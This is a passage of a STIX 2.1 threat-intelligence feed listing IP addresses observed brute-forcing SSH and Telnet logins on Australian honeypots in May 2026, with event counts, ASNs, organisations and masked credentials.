      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 55967. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, 3**********4, ***, a**y, a***t. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****8.",
      "id": "indicator--dcd5df49-e492-4758-8ca6-a43213d43248",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.240.120.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--7fb94a3c-156e-4e03-8eb6-da8e7f69b8d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.122.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265040. Organisation(s): ALAN CHARLES ALVES LEITE LTDA.",
      "id": "indicator--208322b3-a027-4317-b056-48b83695ccaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.150.214.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 7470. Organisation(s): TRUE INTERNET Co.,Ltd..",
      "id": "indicator--7248b96c-72dc-4a93-9946-801f22507e2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.103.89.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8c6ffb14-e0cb-4e12-a02a-f461c5166f71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.67.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--51e54203-fd6c-44ce-8178-b3d86fd5e538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.36.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f4754982-d6ed-41e1-9353-5e1a1e27fbd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.200.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262813. Organisation(s): Superimagem Tecnologia em Eletronica Ltda.",
      "id": "indicator--d3646d50-a035-4538-bc5d-1eb922c9afea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.237.174.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--efab2465-9cfe-490f-8e2e-c2578571b113",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.224.121.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 4230. Organisation(s): CLARO S.A..",
      "id": "indicator--766c0907-39f0-4599-bece-1d136a228bad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.58.42.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--1ca8bd1e-52e4-4499-a357-6ce461f02a1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.231.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 16232. Organisation(s): TIM.",
      "id": "indicator--13f5252b-53f6-4410-88d9-309aa43f8db4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.193.83.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28572. Organisation(s): Apoiocom Digital Ltda - EPP.",
      "id": "indicator--f3ce015e-d5f9-4077-a561-aabea965cf73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.192.151.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61773. Organisation(s): G+ NETWORK TELECOM EIRELI - ME.",
      "id": "indicator--69b45cd7-e19a-4091-935a-e05e9e0c6b27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.225.104.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): ***, i**n, r**t. Passwords observed (masked): !******1, D******5, i**n.",
      "id": "indicator--423a56c4-88de-48e7-ac86-84c1d09fb6a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.182.75.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--f1c2030f-415c-492c-880f-8e3e6e9c19e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.52.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d05f285f-880a-4661-afc6-78bcbda1400a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.75.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--02606ba0-53c0-4b0d-a998-bee88225fb14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.26.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--870a17e1-b1dd-4692-9c24-cc25b4652339",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.30.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5c604bcf-9b22-489d-aeb3-74ff4d37650a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.24.91.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--9cd33de4-b8a7-401a-a0c5-4bb65fda1e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.232.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--7f4d9fd6-4c97-4fe1-88b2-87c67dcf0481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.236.65.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2c285d60-615c-49d5-b3bd-eb0a86973fb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.158.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9782ee2f-e3cd-4eae-88a3-14fd98d397f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.32.96.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f8a8aaee-8a9c-4c40-bfc9-8a86f7e60089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.189.207.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT. Usernames observed (masked): r**t, 3**********4, ***, a**y, a***t. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****8.",
      "id": "indicator--4a134436-e7c5-41f3-94c6-d2e95fd071db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.109.22.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 213338. Organisation(s): Evacom S.R.L.S..",
      "id": "indicator--3d69dd72-d79f-4a01-aa14-62997de201a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.65.148.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--c6ae02f5-2a64-4585-ba77-01e5cb9db703",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.58.125.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 209851. Organisation(s): Hyper Cloud Solutions LLP. Usernames observed (masked): b*****i. Passwords observed (masked): b*****i.",
      "id": "indicator--205fec85-02c8-498d-ade6-18c7e4ecbd93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.201.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--d6de05b6-d202-4a25-97e4-acb2185695ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.41.185.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:15:05.000Z",
      "valid_until": "2026-06-24T09:15:03.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328474. Organisation(s): Jebo-Connect-AS.",
      "id": "indicator--cdf3673b-4ef1-44e9-8dae-f6093eb209ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.67.56.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c2670fa5-7ca9-4a99-9a2c-a98b3f667493",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.32.187.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1245fe44-dedf-4c79-bb2f-64f7c27181ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.116.182.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d99aec25-7393-4730-9b3e-dd76f0b6eab9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.73.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--43e3d9ea-69c0-485d-a7de-764f72619368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.4.61.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b5dd4686-10cd-486f-925c-0865b9e1965e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.115.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:15:11.000Z",
      "valid_until": "2026-06-24T10:15:08.000Z"
    },
    {
      "created": "2026-05-23T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--edda41f8-b1eb-49cb-9d04-9ca93487c961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.57.93.159']",
      "pattern_type": "stix",
